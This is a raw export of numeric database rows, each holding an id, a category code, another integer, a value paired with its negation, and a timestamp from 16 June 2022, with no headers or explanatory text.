+4303,6,3805,12.56817799,-12.56817799,2022-06-16 08:58:39.794936+00 +6647,3,4912,9.89212995,-9.89212995,2022-06-16 09:32:57.332452+00 +4003,6,3627,14.2843833,-14.2843833,2022-06-16 08:54:26.51127+00 +6665,2,4864,7.655012492,-7.655012492,2022-06-16 09:33:04.580874+00 +7279,6,5149,9.7893619,-9.7893619,2022-06-16 09:40:24.73143+00 +4707,2,3952,7.67136952,-7.67136952,2022-06-16 09:05:04.407433+00 +4313,6,3837,12.41871337,-12.41871337,2022-06-16 08:58:47.575699+00 +4008,6,3643,13.74666363,-13.74666363,2022-06-16 08:54:26.749839+00 +4009,1,3643,13.34203904,-13.34203904,2022-06-16 08:54:28.205571+00 +4010,1,3611,13.38867062,-13.38867062,2022-06-16 08:54:28.209044+00 +4011,1,3627,13.7847091,-13.7847091,2022-06-16 08:54:28.210124+00 +4012,1,3448,21.05795243,-21.05795243,2022-06-16 08:54:40.222481+00 +4315,7,3696,15.77507394,-15.77507394,2022-06-16 08:58:53.589085+00 +4316,7,3760,15.67155278,-15.67155278,2022-06-16 08:58:53.592612+00 +6047,4,4656,3.876888094,-3.876888094,2022-06-16 09:26:05.420478+00 +5655,4,4477,12.59751974,-12.59751974,2022-06-16 09:20:08.507944+00 +5656,4,4461,12.57425578,-12.57425578,2022-06-16 09:20:08.508889+00 +5664,6,4464,6.083256619,-6.083256619,2022-06-16 09:20:20.46969+00 +4717,6,3931,12.94762954,-12.94762954,2022-06-16 09:05:07.561036+00 +6048,4,4672,4.935667799,-4.935667799,2022-06-16 09:26:05.424585+00 +5313,1,4267,12.19363882,-12.19363882,2022-06-16 09:14:37.317136+00 +5314,1,4283,11.70594909,-11.70594909,2022-06-16 09:14:37.320385+00 +8031,3,5424,8.483441203,-8.483441203,2022-06-16 09:49:19.091656+00 +4727,7,3952,15.5035549,-15.5035549,2022-06-16 09:05:07.955303+00 +5687,6,4541,11.06880286,-11.06880286,2022-06-16 09:20:34.973165+00 +4336,2,3776,8.80298142,-8.80298142,2022-06-16 08:59:04.527107+00 +8045,4,5280,7.243443154,-7.243443154,2022-06-16 09:49:41.169144+00 +5701,1,4464,7.252847234,-7.252847234,2022-06-16 09:20:37.378516+00 +4735,1,3832,20.00057283,-20.00057283,2022-06-16 09:05:31.261286+00 +4738,7,4016,15.4425174,-15.4425174,2022-06-16 09:05:48.976867+00 +5702,1,4480,8.658727869,-8.658727869,2022-06-16 09:20:37.382217+00 +5711,4,4368,11.4185002,-11.4185002,2022-06-16 09:20:49.834714+00 +8857,2,5822,16.49813005,-16.49813005,2022-06-16 10:01:09.347232+00 +5726,2,4464,6.607017117,-6.607017117,2022-06-16 09:21:04.428368+00 +4345,6,3739,13.48041521,-13.48041521,2022-06-16 08:59:09.863061+00 +6074,6,4701,10.86719747,-10.86719747,2022-06-16 09:26:27.586878+00 +5734,4,4443,8.980930747,-8.980930747,2022-06-16 09:21:19.095841+00 +9788,2,6080,6.743258956,-6.743258956,2022-06-16 10:11:04.544739+00 +8088,1,5435,9.218373247,-9.218373247,2022-06-16 09:50:16.513086+00 +4350,6,3755,13.87462919,-13.87462919,2022-06-16 08:59:10.105047+00 +6097,6,4717,10.75888256,-10.75888256,2022-06-16 09:26:34.478173+00 +8089,1,5419,9.410597662,-9.410597662,2022-06-16 09:50:16.516297+00 +8090,1,5495,14.07805738,-14.07805738,2022-06-16 09:50:16.517166+00 +4762,4,4024,14.26702597,-14.26702597,2022-06-16 09:06:05.863004+00 +4355,6,3771,13.34584595,-13.34584595,2022-06-16 08:59:10.350615+00 +4765,2,3832,18.11265305,-18.11265305,2022-06-16 09:06:09.362077+00 +4766,2,3896,18.03800613,-18.03800613,2022-06-16 09:06:09.366206+00 +6745,4,4909,11.48685172,-11.48685172,2022-06-16 09:34:07.818037+00 +4900,4,4080,5.037702161,-5.037702161,2022-06-16 09:08:05.626814+00 +4901,4,4096,5.842264611,-5.842264611,2022-06-16 09:08:05.630063+00 +4361,3,3840,13.59337373,-13.59337373,2022-06-16 08:59:41.66626+00 +4362,1,3744,13.61732246,-13.61732246,2022-06-16 08:59:46.26206+00 +4463,6,3901,12.28629185,-12.28629185,2022-06-16 09:01:12.998777+00 +4902,4,4088,13.91226648,-13.91226648,2022-06-16 09:08:05.631002+00 +5354,2,4288,8.04163576,-8.04163576,2022-06-16 09:15:04.562157+00 +12632,2,6768,3.332721358,-3.332721358,2022-06-16 10:33:04.495204+00 +4499,1,3808,13.39934182,-13.39934182,2022-06-16 09:01:40.23434+00 +4368,1,3736,18.99289805,-18.99289805,2022-06-16 08:59:55.274862+00 +5382,1,4248,18.2042647,-18.2042647,2022-06-16 09:15:49.321077+00 +19341,1,7921,11.06562518,-11.06562518,2022-06-16 11:16:55.956806+00 +6508,6,4779,11.09069024,-11.09069024,2022-06-16 09:31:15.211327+00 +5426,4,4349,12.89386114,-12.89386114,2022-06-16 09:16:07.884232+00 +4544,7,3824,15.60152518,-15.60152518,2022-06-16 09:02:25.82769+00 +4551,6,3888,6.731644911,-6.731644911,2022-06-16 09:02:38.053442+00 +4557,1,3883,13.15966494,-13.15966494,2022-06-16 09:02:46.270312+00 +4558,1,3899,12.64529772,-12.64529772,2022-06-16 09:02:46.273587+00 +4559,1,3867,12.69175626,-12.69175626,2022-06-16 09:02:46.274468+00 +5427,4,4333,12.86991292,-12.86991292,2022-06-16 09:16:07.88751+00 +5428,4,4317,12.9416189,-12.9416189,2022-06-16 09:16:07.888523+00 +4575,2,3962,16.84883805,-16.84883805,2022-06-16 09:02:54.164604+00 +6524,3,4864,12.03419002,-12.03419002,2022-06-16 09:31:17.900054+00 +5453,1,4352,9.086355787,-9.086355787,2022-06-16 09:16:58.322005+00 +5454,1,4336,7.627531842,-7.627531842,2022-06-16 09:16:58.32534+00 +4591,2,3888,7.69951559,-7.69951559,2022-06-16 09:03:04.433474+00 +5881,1,4344,18.55784973,-18.55784973,2022-06-16 09:23:25.349257+00 +4597,4,3672,13.14337498,-13.14337498,2022-06-16 09:03:06.811821+00 +5080,6,4189,11.79417993,-11.79417993,2022-06-16 09:10:50.495799+00 +5475,2,4352,8.052356603,-8.052356603,2022-06-16 09:17:04.560223+00 +6538,4,4792,12.5501358,-12.5501358,2022-06-16 09:31:42.667763+00 +13843,1,6936,13.94234128,-13.94234128,2022-06-16 10:41:04.697703+00 +4391,6,3824,6.893320452,-6.893320452,2022-06-16 09:00:05.600936+00 +4392,4,3840,6.276002637,-6.276002637,2022-06-16 09:00:05.713143+00 +4393,4,3824,5.581206247,-5.581206247,2022-06-16 09:00:05.717338+00 +9737,4,6075,6.265707078,-6.265707078,2022-06-16 10:10:20.318467+00 +9738,4,6059,6.411257266,-6.411257266,2022-06-16 10:10:20.322385+00 +5944,1,4408,18.42014211,-18.42014211,2022-06-16 09:24:34.377295+00 +5954,6,4608,7.294964284,-7.294964284,2022-06-16 09:24:36.033103+00 +4398,6,3840,7.657578089,-7.657578089,2022-06-16 09:00:05.871458+00 +4399,4,3821,14.06708881,-14.06708881,2022-06-16 09:00:08.774665+00 +4400,4,3837,14.03384045,-14.03384045,2022-06-16 09:00:08.77812+00 +4401,4,3805,14.10881052,-14.10881052,2022-06-16 09:00:08.779023+00 +5542,6,4395,12.2529351,-12.2529351,2022-06-16 09:18:15.458019+00 +5178,4,4203,9.643464383,-9.643464383,2022-06-16 09:12:20.730555+00 +5188,6,4203,12.68688735,-12.68688735,2022-06-16 09:12:21.744883+00 +4657,4,3931,9.780229948,-9.780229948,2022-06-16 09:04:20.351167+00 +5955,1,4443,11.38591244,-11.38591244,2022-06-16 09:24:37.350314+00 +5208,4,3992,12.74964487,-12.74964487,2022-06-16 09:12:34.064702+00 +5956,1,4379,11.3358408,-11.3358408,2022-06-16 09:24:37.351907+00 +4670,1,3947,12.98745757,-12.98745757,2022-06-16 09:04:31.237459+00 +4671,1,3963,12.47761563,-12.47761563,2022-06-16 09:04:31.238849+00 +4672,1,3931,12.52391027,-12.52391027,2022-06-16 09:04:31.239822+00 +4412,4,3819,10.40906727,-10.40906727,2022-06-16 09:00:20.864554+00 +4413,4,3803,10.02031791,-10.02031791,2022-06-16 09:00:20.867906+00 +4414,4,3835,9.938735547,-9.938735547,2022-06-16 09:00:20.868864+00 +5957,1,4603,11.03423674,-11.03423674,2022-06-16 09:24:37.352862+00 +4678,6,3997,12.17228808,-12.17228808,2022-06-16 09:04:42.876256+00 +5958,1,4571,11.26490531,-11.26490531,2022-06-16 09:24:37.353747+00 +4684,6,4013,12.0527483,-12.0527483,2022-06-16 09:04:48.632557+00 +4419,6,3803,13.33235228,-13.33235228,2022-06-16 09:00:24.647044+00 +5595,4,4408,13.24818181,-13.24818181,2022-06-16 09:19:09.351462+00 +4690,4,3960,14.40017325,-14.40017325,2022-06-16 09:04:54.526744+00 +5959,1,4315,11.21559961,-11.21559961,2022-06-16 09:24:37.354639+00 +5960,1,4587,11.41314558,-11.41314558,2022-06-16 09:24:37.355495+00 +4424,6,3819,13.72490576,-13.72490576,2022-06-16 09:00:24.904227+00 +5961,1,4507,11.1448755,-11.1448755,2022-06-16 09:24:37.356213+00 +8838,2,5744,4.561136529,-4.561136529,2022-06-16 10:01:04.427592+00 +6619,6,4893,10.34096695,-10.34096695,2022-06-16 09:32:28.591013+00 +6635,1,4832,11.65555868,-11.65555868,2022-06-16 09:32:43.384139+00 +4429,6,3835,13.19947933,-13.19947933,2022-06-16 09:00:25.159606+00 +4430,1,3840,10.48534286,-10.48534286,2022-06-16 09:00:28.26119+00 +4431,1,3824,9.497107226,-9.497107226,2022-06-16 09:00:28.264662+00 +4432,4,3680,8.484959155,-8.484959155,2022-06-16 09:00:40.619906+00 +4433,4,3744,8.45580892,-8.45580892,2022-06-16 09:00:48.408777+00 +4712,2,3968,8.59187158,-8.59187158,2022-06-16 09:05:04.520839+00 +5307,6,4333,11.43740933,-11.43740933,2022-06-16 09:14:33.281299+00 +5657,1,4376,17.84492374,-17.84492374,2022-06-16 09:20:10.378208+00 +5990,2,4608,7.903261628,-7.903261628,2022-06-16 09:25:04.550099+00 +5324,6,4288,7.397797605,-7.397797605,2022-06-16 09:14:39.007843+00 +4722,6,3947,13.33458068,-13.33458068,2022-06-16 09:05:07.772888+00 +6648,1,4926,15.20216367,-15.20216367,2022-06-16 09:32:58.384247+00 +5681,6,4525,11.09037334,-11.09037334,2022-06-16 09:20:32.702946+00 +4728,6,3963,12.81893359,-12.81893359,2022-06-16 09:05:07.985105+00 +6649,1,4886,15.05604754,-15.05604754,2022-06-16 09:32:58.387634+00 +5695,6,4459,12.04448237,-12.04448237,2022-06-16 09:20:37.021027+00 +4734,3,4032,13.37427967,-13.37427967,2022-06-16 09:05:22.410289+00 +4736,1,3936,13.14472945,-13.14472945,2022-06-16 09:05:46.288133+00 +4737,1,3896,19.88881175,-19.88881175,2022-06-16 09:05:46.291365+00 +6650,1,4894,15.02286383,-15.02286383,2022-06-16 09:32:58.38853+00 +6651,1,4887,15.02424245,-15.02424245,2022-06-16 09:32:58.389335+00 +6652,1,4843,10.66662205,-10.66662205,2022-06-16 09:32:58.390229+00 +6653,1,4824,16.71485096,-16.71485096,2022-06-16 09:32:58.391025+00 +6049,4,4653,12.23360091,-12.23360091,2022-06-16 09:26:07.980679+00 +6050,4,4637,12.30453354,-12.30453354,2022-06-16 09:26:07.985639+00 +6051,4,4669,12.18374881,-12.18374881,2022-06-16 09:26:07.987236+00 +6654,1,4895,14.99088899,-14.99088899,2022-06-16 09:32:58.391868+00 +6655,1,4859,10.41438041,-10.41438041,2022-06-16 09:32:58.39253+00 +6075,1,4651,11.32009463,-11.32009463,2022-06-16 09:26:28.383165+00 +6076,1,4635,10.88781862,-10.88781862,2022-06-16 09:26:28.386835+00 +6077,1,4667,10.83868942,-10.83868942,2022-06-16 09:26:28.387936+00 +4763,4,4032,5.957720882,-5.957720882,2022-06-16 09:06:07.585426+00 +4764,4,4016,5.159041608,-5.159041608,2022-06-16 09:06:07.590115+00 +20956,1,8549,16.9088281,-16.9088281,2022-06-16 11:26:53.037475+00 +5790,4,4544,5.026213589,-5.026213589,2022-06-16 09:22:05.525513+00 +5791,4,4528,4.10357301,-4.10357301,2022-06-16 09:22:05.530925+00 +4771,6,4093,11.97736047,-11.97736047,2022-06-16 09:06:09.980871+00 +4772,4,4013,13.61107935,-13.61107935,2022-06-16 09:06:11.129128+00 +4773,4,4029,13.551076,-13.551076,2022-06-16 09:06:12.46061+00 +4774,4,3997,13.65459709,-13.65459709,2022-06-16 09:06:13.781912+00 +8032,7,5386,15.76030599,-15.76030599,2022-06-16 09:49:21.114453+00 +5802,4,4525,12.49253343,-12.49253343,2022-06-16 09:22:08.309802+00 +5803,4,4541,12.46575924,-12.46575924,2022-06-16 09:22:08.310867+00 +4778,2,3960,17.96362408,-17.96362408,2022-06-16 09:06:14.432456+00 +4779,2,4024,17.88950879,-17.88950879,2022-06-16 09:06:14.436059+00 +5804,4,4509,12.5388742,-12.5388742,2022-06-16 09:22:08.312845+00 +5806,4,4539,8.702688095,-8.702688095,2022-06-16 09:22:20.77172+00 +5807,4,4523,9.079151419,-9.079151419,2022-06-16 09:22:20.775136+00 +8046,7,5322,15.68487207,-15.68487207,2022-06-16 09:49:41.398964+00 +4784,6,4016,6.73623627,-6.73623627,2022-06-16 09:06:18.152111+00 +4903,4,4061,13.56411188,-13.56411188,2022-06-16 09:08:08.09334+00 +4904,4,4077,13.43536013,-13.43536013,2022-06-16 09:08:08.096673+00 +4905,4,4093,13.40485217,-13.40485217,2022-06-16 09:08:08.097697+00 +5355,4,4112,11.42938731,-11.42938731,2022-06-16 09:15:06.991863+00 +4789,6,4032,7.694515604,-7.694515604,2022-06-16 09:06:18.357657+00 +13808,6,7085,6.655102178,-6.655102178,2022-06-16 10:40:53.886019+00 +6492,2,4763,12.83111965,-12.83111965,2022-06-16 09:31:09.495117+00 +5399,1,4152,19.08401748,-19.08401748,2022-06-16 09:16:01.329631+00 +19342,4,8088,10.2203389,-10.2203389,2022-06-16 11:16:57.185274+00 +7942,4,5342,15.16765552,-15.16765552,2022-06-16 09:48:16.807697+00 +5429,4,4331,9.434808005,-9.434808005,2022-06-16 09:16:20.934882+00 +5430,4,4347,9.018167838,-9.018167838,2022-06-16 09:16:20.938344+00 +5882,2,4602,16.23723266,-16.23723266,2022-06-16 09:23:29.971468+00 +5455,6,4315,12.1753722,-12.1753722,2022-06-16 09:17:03.75466+00 +5465,6,4347,11.86847063,-11.86847063,2022-06-16 09:17:04.229592+00 +5476,4,4184,12.58071055,-12.58071055,2022-06-16 09:17:08.501439+00 +7943,4,5406,15.09653955,-15.09653955,2022-06-16 09:48:16.811337+00 +5091,6,4221,11.65401152,-11.65401152,2022-06-16 09:10:59.292134+00 +5103,2,4144,7.135812824,-7.135812824,2022-06-16 09:11:04.604701+00 +5487,4,4248,12.53440073,-12.53440073,2022-06-16 09:17:18.290394+00 +6539,1,4605,15.76546142,-15.76546142,2022-06-16 09:31:43.399978+00 +6540,1,4637,15.82928974,-15.82928974,2022-06-16 09:31:43.405251+00 +5930,6,4653,10.8676887,-10.8676887,2022-06-16 09:24:09.802141+00 +6541,1,4717,15.64823113,-15.64823113,2022-06-16 09:31:43.408241+00 +5520,4,4416,5.298426412,-5.298426412,2022-06-16 09:18:05.862696+00 +5521,4,4400,4.327231097,-4.327231097,2022-06-16 09:18:05.866475+00 +5533,6,4413,11.22784072,-11.22784072,2022-06-16 09:18:11.367498+00 +5534,6,4477,11.18227427,-11.18227427,2022-06-16 09:18:11.37058+00 +5962,2,4666,16.20096728,-16.20096728,2022-06-16 09:24:40.25659+00 +5209,1,4219,11.83006063,-11.83006063,2022-06-16 09:12:46.28265+00 +5210,1,4203,12.27227193,-12.27227193,2022-06-16 09:12:46.285914+00 +6542,1,4733,15.60833279,-15.60833279,2022-06-16 09:31:43.409704+00 +5558,6,4400,6.148189156,-6.148189156,2022-06-16 09:18:25.965481+00 +5235,6,4253,11.62936632,-11.62936632,2022-06-16 09:13:16.370955+00 +6543,1,4509,15.67270567,-15.67270567,2022-06-16 09:31:43.411118+00 +6544,1,4701,15.59390501,-15.59390501,2022-06-16 09:31:43.412284+00 +5991,2,4315,13.66307542,-13.66307542,2022-06-16 09:25:09.30906+00 +5268,2,4090,16.57549728,-16.57549728,2022-06-16 09:13:40.715289+00 +5992,2,4379,13.59489035,-13.59489035,2022-06-16 09:25:09.312369+00 +5993,2,4443,13.52712838,-13.52712838,2022-06-16 09:25:09.313194+00 +5994,2,4507,13.4597878,-13.4597878,2022-06-16 09:25:09.313951+00 +5995,2,4571,13.39286688,-13.39286688,2022-06-16 09:25:09.314711+00 +5628,3,4464,10.81368905,-10.81368905,2022-06-16 09:19:29.205857+00 +6545,1,4589,15.45458561,-15.45458561,2022-06-16 09:31:43.413032+00 +6546,1,4669,15.41558909,-15.41558909,2022-06-16 09:31:43.413641+00 +7944,4,5343,15.09964813,-15.09964813,2022-06-16 09:48:16.812266+00 +5658,1,4475,11.37163728,-11.37163728,2022-06-16 09:20:13.401315+00 +5659,1,4459,11.80276432,-11.80276432,2022-06-16 09:20:13.404698+00 +7945,4,5407,15.02901034,-15.02901034,2022-06-16 09:48:16.813172+00 +20957,1,8541,10.89062228,-10.89062228,2022-06-16 11:26:53.040915+00 +8799,2,5770,13.31611251,-13.31611251,2022-06-16 10:00:23.262336+00 +5682,1,4280,18.69374006,-18.69374006,2022-06-16 09:20:34.37853+00 +8004,2,5376,7.192363187,-7.192363187,2022-06-16 09:49:04.528774+00 +6622,1,4893,14.93635442,-14.93635442,2022-06-16 09:32:34.385567+00 +6067,4,4651,8.873833953,-8.873833953,2022-06-16 09:26:20.743107+00 +5709,4,4304,11.45973756,-11.45973756,2022-06-16 09:20:42.231735+00 +6068,4,4635,8.50431852,-8.50431852,2022-06-16 09:26:20.746671+00 +6069,4,4667,8.467118498,-8.467118498,2022-06-16 09:26:20.74779+00 +6623,1,4909,14.82734202,-14.82734202,2022-06-16 09:32:34.388848+00 +6624,1,4925,14.79090214,-14.79090214,2022-06-16 09:32:34.389725+00 +6092,6,4667,11.1279291,-11.1279291,2022-06-16 09:26:31.712765+00 +6636,7,4786,16.48415271,-16.48415271,2022-06-16 09:32:45.317437+00 +9739,1,6125,11.9030535,-11.9030535,2022-06-16 10:10:22.568713+00 +8033,1,5294,14.69741767,-14.69741767,2022-06-16 09:49:28.540308+00 +8044,4,5216,7.265311288,-7.265311288,2022-06-16 09:49:34.720406+00 +7332,6,5099,10.32804656,-10.32804656,2022-06-16 09:40:53.930925+00 +6130,2,4672,7.807809549,-7.807809549,2022-06-16 09:27:04.536485+00 +8047,1,5368,16.81828636,-16.81828636,2022-06-16 09:49:43.540674+00 +9740,1,6141,11.87831203,-11.87831203,2022-06-16 10:10:22.572122+00 +5808,7,4466,16.80374649,-16.80374649,2022-06-16 09:22:21.945583+00 +7370,7,5130,16.05915676,-16.05915676,2022-06-16 09:41:36.72985+00 +9769,6,6059,8.609427611,-8.609427611,2022-06-16 10:10:48.536034+00 +6211,2,4730,16.12567324,-16.12567324,2022-06-16 09:27:41.528909+00 +8091,1,5494,14.03517111,-14.03517111,2022-06-16 09:50:16.517959+00 +9789,2,6110,14.13367681,-14.13367681,2022-06-16 10:11:04.548059+00 +6746,4,4893,11.55646827,-11.55646827,2022-06-16 09:34:07.821189+00 +6232,4,4568,11.98522425,-11.98522425,2022-06-16 09:27:48.492127+00 +6747,4,4925,11.44247108,-11.44247108,2022-06-16 09:34:07.822069+00 +6238,4,4632,11.94206602,-11.94206602,2022-06-16 09:27:58.293171+00 +8111,2,5498,15.41811044,-15.41811044,2022-06-16 09:50:24.283378+00 +6249,1,4472,18.17284335,-18.17284335,2022-06-16 09:28:07.37932+00 +8123,1,5408,10.96086193,-10.96086193,2022-06-16 09:50:58.545041+00 +6774,4,4760,11.62218361,-11.62218361,2022-06-16 09:34:33.438386+00 +15116,1,7288,12.13971428,-12.13971428,2022-06-16 10:50:07.802937+00 +6286,1,4736,8.053576648,-8.053576648,2022-06-16 09:28:52.378617+00 +6287,1,4720,6.494351719,-6.494351719,2022-06-16 09:28:52.382276+00 +6292,6,4699,11.02695237,-11.02695237,2022-06-16 09:28:52.735042+00 +22526,1,8798,8.055434649,-8.055434649,2022-06-16 11:34:53.050157+00 +7441,6,5168,5.146721446,-5.146721446,2022-06-16 09:42:10.650333+00 +11718,1,6653,10.55732958,-10.55732958,2022-06-16 10:26:52.672192+00 +7465,4,5163,7.791611653,-7.791611653,2022-06-16 09:42:20.936519+00 +6313,6,4781,10.65178413,-10.65178413,2022-06-16 09:28:58.653751+00 +7466,4,5147,7.539909123,-7.539909123,2022-06-16 09:42:20.940734+00 +6318,6,4797,10.63194332,-10.63194332,2022-06-16 09:29:00.691964+00 +7467,4,5179,7.564638546,-7.564638546,2022-06-16 09:42:20.941664+00 +11719,1,6637,10.53422882,-10.53422882,2022-06-16 10:26:52.675499+00 +15197,4,7192,10.88628092,-10.88628092,2022-06-16 10:51:01.270797+00 +8974,6,5808,4.357234386,-4.357234386,2022-06-16 10:02:44.064302+00 +6333,2,4720,6.296216568,-6.296216568,2022-06-16 09:29:04.398849+00 +7503,6,5245,9.552311216,-9.552311216,2022-06-16 09:42:57.16949+00 +6338,2,4736,7.798420618,-7.798420618,2022-06-16 09:29:04.517759+00 +9879,4,6125,9.270432957,-9.270432957,2022-06-16 10:12:07.915745+00 +9880,4,6141,9.255517098,-9.255517098,2022-06-16 10:12:07.919151+00 +7527,2,5184,7.328177005,-7.328177005,2022-06-16 09:43:04.580342+00 +8227,4,5499,7.094222345,-7.094222345,2022-06-16 09:52:20.709162+00 +8228,4,5483,7.258440029,-7.258440029,2022-06-16 09:52:20.712427+00 +6356,1,4696,17.0165377,-17.0165377,2022-06-16 09:29:22.383671+00 +9899,1,6123,8.194939994,-8.194939994,2022-06-16 10:12:16.5531+00 +8238,6,5504,6.788357902,-6.788357902,2022-06-16 09:52:25.364201+00 +9900,1,6139,8.000785607,-8.000785607,2022-06-16 10:12:16.556452+00 +6368,7,4746,16.87920964,-16.87920964,2022-06-16 09:29:48.351966+00 +6369,7,4682,16.79964843,-16.79964843,2022-06-16 09:29:48.3552+00 +6370,7,4618,16.72046117,-16.72046117,2022-06-16 09:29:48.356088+00 +6924,2,4874,15.77542061,-15.77542061,2022-06-16 09:36:28.335765+00 +6934,1,4792,17.40799543,-17.40799543,2022-06-16 09:36:43.436752+00 +9921,4,6139,6.172964249,-6.172964249,2022-06-16 10:12:20.320265+00 +8264,2,5488,4.867455809,-4.867455809,2022-06-16 09:53:04.460977+00 +9069,4,5784,11.357255,-11.357255,2022-06-16 10:03:28.678751+00 +9922,4,6123,6.316285606,-6.316285606,2022-06-16 10:12:20.32133+00 +9929,1,6175,11.6261517,-11.6261517,2022-06-16 10:12:22.532741+00 +7144,2,5040,5.721545186,-5.721545186,2022-06-16 09:39:04.434825+00 +4923,6,4125,11.91827933,-11.91827933,2022-06-16 09:08:25.669309+00 +4937,1,4080,8.545597194,-8.545597194,2022-06-16 09:08:43.267889+00 +4938,1,4096,9.710259268,-9.710259268,2022-06-16 09:08:43.271584+00 +4794,6,3995,12.83188458,-12.83188458,2022-06-16 09:06:20.840462+00 +4953,6,4059,12.60749112,-12.60749112,2022-06-16 09:08:45.075794+00 +19343,7,8170,12.68120814,-12.68120814,2022-06-16 11:16:57.359453+00 +5858,2,4544,7.836369521,-7.836369521,2022-06-16 09:23:04.573869+00 +4996,3,4160,13.27700152,-13.27700152,2022-06-16 09:09:36.568765+00 +4799,6,4011,13.21765548,-13.21765548,2022-06-16 09:06:21.055284+00 +7165,2,5035,12.42971195,-12.42971195,2022-06-16 09:39:09.562998+00 +5415,6,4352,7.473733525,-7.473733525,2022-06-16 09:16:02.671316+00 +5883,7,4402,16.68369164,-16.68369164,2022-06-16 09:23:49.032322+00 +22527,1,8760,10.12862576,-10.12862576,2022-06-16 11:34:53.053723+00 +4804,6,4027,12.70451867,-12.70451867,2022-06-16 09:06:21.266768+00 +5058,2,4152,17.64152341,-17.64152341,2022-06-16 09:10:09.474441+00 +6547,1,4765,15.44037325,-15.44037325,2022-06-16 09:31:46.400222+00 +6548,1,4797,15.30073843,-15.30073843,2022-06-16 09:31:46.405077+00 +5092,1,4155,11.99198391,-11.99198391,2022-06-16 09:11:01.280472+00 +5093,1,4123,12.0378783,-12.0378783,2022-06-16 09:11:01.283892+00 +6549,1,4781,15.26495683,-15.26495683,2022-06-16 09:31:46.408338+00 +6550,1,4861,15.18719683,-15.18719683,2022-06-16 09:31:46.410369+00 +5963,4,4472,12.97909085,-12.97909085,2022-06-16 09:24:41.272935+00 +5511,6,4445,11.36609323,-11.36609323,2022-06-16 09:18:03.274934+00 +5522,4,4397,12.75954886,-12.75954886,2022-06-16 09:18:08.571404+00 +5523,4,4381,12.80391229,-12.80391229,2022-06-16 09:18:08.574878+00 +5524,4,4413,12.73281571,-12.73281571,2022-06-16 09:18:08.57583+00 +5535,4,4128,7.910326086,-7.910326086,2022-06-16 09:18:12.163662+00 +5974,1,4504,17.44692754,-17.44692754,2022-06-16 09:24:49.352878+00 +5201,6,4208,6.561711735,-6.561711735,2022-06-16 09:12:23.110589+00 +5548,1,4411,11.46758488,-11.46758488,2022-06-16 09:18:16.297862+00 +5220,2,4224,8.141856137,-8.141856137,2022-06-16 09:13:04.546779+00 +5549,1,4216,18.87372439,-18.87372439,2022-06-16 09:18:16.299685+00 +5550,1,4395,11.90098547,-11.90098547,2022-06-16 09:18:16.300548+00 +6551,1,4845,15.15194958,-15.15194958,2022-06-16 09:31:46.411418+00 +6552,1,4829,15.21595596,-15.21595596,2022-06-16 09:31:46.412384+00 +6553,1,4653,15.03974865,-15.03974865,2022-06-16 09:31:46.413757+00 +5269,3,4016,11.64575462,-11.64575462,2022-06-16 09:14:01.856552+00 +5270,3,4080,11.57871097,-11.57871097,2022-06-16 09:14:01.860619+00 +5271,3,4144,11.51217037,-11.51217037,2022-06-16 09:14:01.861893+00 +5272,3,4208,11.44612915,-11.44612915,2022-06-16 09:14:01.862927+00 +5273,3,4272,11.38058363,-11.38058363,2022-06-16 09:14:01.863755+00 +6554,1,4541,15.00232072,-15.00232072,2022-06-16 09:31:46.416281+00 +6555,1,4573,15.06820196,-15.06820196,2022-06-16 09:31:46.4172+00 +5302,6,4317,11.5517296,-11.5517296,2022-06-16 09:14:27.561644+00 +15117,4,7423,10.61628772,-10.61628772,2022-06-16 10:50:10.291839+00 +6028,1,4568,17.37572556,-17.37572556,2022-06-16 09:25:46.384445+00 +7971,2,5418,14.62958041,-14.62958041,2022-06-16 09:48:53.639114+00 +6582,4,4848,3.589201106,-3.589201106,2022-06-16 09:32:06.720277+00 +5629,4,4320,7.844735489,-7.844735489,2022-06-16 09:19:32.731354+00 +6583,4,4864,4.591105131,-4.591105131,2022-06-16 09:32:06.724033+00 +6061,6,4672,7.219186896,-7.219186896,2022-06-16 09:26:08.381858+00 +6596,7,4850,16.5623394,-16.5623394,2022-06-16 09:32:18.067094+00 +8801,4,5502,15.15638248,-15.15638248,2022-06-16 10:00:26.932826+00 +8005,1,5344,11.09077782,-11.09077782,2022-06-16 09:49:07.513047+00 +5676,6,4509,11.20154762,-11.20154762,2022-06-16 09:20:26.8087+00 +8802,4,5822,15.08622285,-15.08622285,2022-06-16 10:00:26.936223+00 +5690,6,4443,11.92242489,-11.92242489,2022-06-16 09:20:36.768002+00 +6637,7,4810,16.56411315,-16.56411315,2022-06-16 09:32:46.59139+00 +6638,7,4554,16.48617888,-16.48617888,2022-06-16 09:32:46.594679+00 +8803,4,5503,14.83415513,-14.83415513,2022-06-16 10:00:26.937234+00 +8804,4,5695,14.76546207,-14.76546207,2022-06-16 10:00:26.938054+00 +6125,2,4656,6.3004955,-6.3004955,2022-06-16 09:27:04.420195+00 +9741,1,6075,8.09900045,-8.09900045,2022-06-16 10:10:28.549773+00 +6131,1,4640,12.07386177,-12.07386177,2022-06-16 09:27:07.35555+00 +6136,2,4635,13.24419386,-13.24419386,2022-06-16 09:27:09.415459+00 +8076,6,5424,4.747368852,-4.747368852,2022-06-16 09:50:12.981065+00 +9742,1,6059,8.2704024,-8.2704024,2022-06-16 10:10:28.553512+00 +16578,2,7661,8.585552611,-8.585552611,2022-06-16 11:00:19.521232+00 +8108,6,5435,9.428640229,-9.428640229,2022-06-16 09:50:21.923457+00 +11688,2,6573,11.3002132,-11.3002132,2022-06-16 10:26:24.407162+00 +8138,2,5424,4.921516286,-4.921516286,2022-06-16 09:51:04.408029+00 +10695,2,6378,12.26401807,-12.26401807,2022-06-16 10:18:57.813741+00 +5809,1,4544,8.524582545,-8.524582545,2022-06-16 09:22:28.387252+00 +5810,1,4528,7.115375468,-7.115375468,2022-06-16 09:22:28.39158+00 +5816,3,4608,12.37559312,-12.37559312,2022-06-16 09:22:47.956888+00 +8150,2,5419,11.37401719,-11.37401719,2022-06-16 09:51:14.442287+00 +15198,3,7358,17.77837352,-17.77837352,2022-06-16 10:51:02.864184+00 +6766,6,4912,5.558307063,-5.558307063,2022-06-16 09:34:25.749815+00 +6250,4,4701,12.20141922,-12.20141922,2022-06-16 09:28:07.977266+00 +6251,4,4717,12.08328831,-12.08328831,2022-06-16 09:28:07.980622+00 +6252,4,4733,12.05818695,-12.05818695,2022-06-16 09:28:07.981543+00 +6257,2,4459,13.65875002,-13.65875002,2022-06-16 09:28:09.451941+00 +6258,2,4523,13.59119802,-13.59119802,2022-06-16 09:28:09.455387+00 +6259,2,4587,13.52406194,-13.52406194,2022-06-16 09:28:09.456227+00 +6260,2,4651,13.45734013,-13.45734013,2022-06-16 09:28:09.457023+00 +6775,1,4957,14.76200983,-14.76200983,2022-06-16 09:34:37.381884+00 